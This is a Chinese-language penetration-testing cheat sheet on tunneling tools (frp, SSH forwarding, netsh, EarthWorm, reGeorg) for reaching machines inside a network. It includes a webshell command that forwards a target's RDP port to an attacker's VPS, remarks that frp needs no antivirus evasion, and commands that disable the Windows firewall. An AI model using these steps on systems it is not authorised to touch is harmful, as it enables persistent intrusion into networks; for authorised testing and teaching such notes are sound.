frp
項目地址
https://github.com/fatedier/frp/
簡介
- frp 是一個可用於內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透
- 跨平台支持linux,win,mac
- 類似於ngrok,運維、開發人員經常使用它管理內網機器和調試程序,例如將內網的22,3389轉發到公網,開發人員將本地web服務轉發到公網調試,msf/rat遠控的內網上線,可以代替前幾年流行的”內網通”服務
- 優點:不需要免殺,支持加密傳輸
基本用法
-
在有公網ip的vps上部署服務端,然后在目標的內網機器上運行客戶端即可反連公網機器,根據配置把內網中的目的端口轉發到公網的那台機器上。網上也有一些免費和收費frp服務,可以免去自己部署服務端。
-
簡單示例:
服務端和客戶端均支持配置文件ini運行和命令行運行,下面示例為命令行。1
2服務端:./frps -p <服務監聽端口> -t <token>
客戶端:./frpc tcp -s <服務端ip>:<服務端端口> -r <在服務端監聽的對應端口> -i <內網地址> -l <內網端口> -t <token> --ue --uc–ue –uc 分別為加密和壓縮(use_encryption && use_compression)
例如通過webshell轉發出該機器的3389端口
1
2你的機器:./frps -p 7890 -t woshitoken
Webshell: frpc.exe tcp -s 1.1.1.1:7890 -r 9999 -i 127.0.0.1 -l 3389 -t woshitoken --ue --uc此時訪問你機器的9999端口,即可訪達目標機器的3389端口。
-
更多參數用法查看github項目。
SSH
簡介
-
SSH 會自動加密和解密所有 SSH 客戶端與服務端之間的網絡數據。但是,SSH 還同時提供了一個非常有用的功能,這就是端口轉發
-
優點:linux自帶,傳輸加密,支持socks代理
用法示例
相關參數:
1 |
-C :壓縮數據傳輸。 |
本地轉發(本地建立監聽)
1 |
ssh -C -f -N -g -L <本地監聽ip>:<本地端口>:<遠程ip>:<遠程端口> 用戶名@目標IP -p <ssh端口> |
遠程轉發(遠端建立監聽)
1 |
ssh -C -f -N -g -R <遠程ip>:<遠程端口>:<本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口> |
注:如果遠端不能監聽0.0.0.0,以下兩個方法:
1 |
1. 需要修改 ssh 配置/etc/ssh/sshd_config |
動態轉發(socks)
1 |
ssh -C -f -N -g -D <本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口> |
socks代理上本地的1080端口,即可訪問192.168.2.101的內網環境
netsh
簡介
- netsh是Network Shell的縮寫,是windows為我們提供的功能強大的網絡配置命令行工具。
- 支持tcp,udp 正向端口轉發和修改防火牆規則,沒有反向轉發的功能,不支持socks。
- 優點:win自帶,支持ipv4和v6。
用法
-
在xp/2003下使用,要先安裝ipv6,裝完后需要重啟機器才能生效
1
netsh interface ipv6 install
管理防火牆
-
對於xp/2003的操作命令不同與之后的系統,而且xp/2003的防火牆不區分出站入站
1
2
3
4
5
6netsh firewall show state 可查看防火牆的狀態,從顯示結果中可看到防火牆各功能模塊的禁用及啟用情況。
netsh firewall set opmode disable 用來禁用系統防火牆
netsh firewall set opmode enable 可啟用防火牆。
netsh firewall add portopening TCP <端口號> "規則名稱" 允許xx端口出入站
netsh firewall delete portopening TCP <端口號> 刪除該條規則 -
對於 2003 以后的系統,命令如下
1
2
3
4
5
6netsh advfirewall show allprofiles 查看防火牆的狀態
netsh advfirewall set allprofiles state on 開啟防火牆
netsh advfirewall set allprofiles state off 關閉防火牆
netsh advfirewall firewall add rule name="規則名稱" dir=in(in為入站,out為出站) action=allow(allow為放行,block為阻止) protocol=TCP localport=<端口號> 添加規則
netsh advfirewall firewall delete rule name="規則名稱" dir=in protocol=TCP localport=<端口號> 刪除規則
端口轉發
1 |
netsh interface portproxy show all 查看所有已設置的轉發規則 |
ew(EarthWorm)
項目地址
https://github.com/rootkiter/EarthWorm
https://github.com/rootkiter/EarthWorm/blob/master/server/download/ew.zip
簡介
- 支持正反向tcp端口轉發,類似lcx(htran)
- 支持反向socks代理
- 缺點:流量不加密,需要免殺
用法簡要說明
1 |
-l 本地要監聽的端口 |
reGeorg&ABPTTS
項目地址
https://github.com/sensepost/reGeorg
https://github.com/nccgroup/ABPTTS
簡介
兩款針對Web應用程序的HTTP隧道,使用方法簡單,詳情查看github項目
reGeorg 一直沒測試成功
SSH 用着他挺方便的,一般都是在msf中 開代理 映射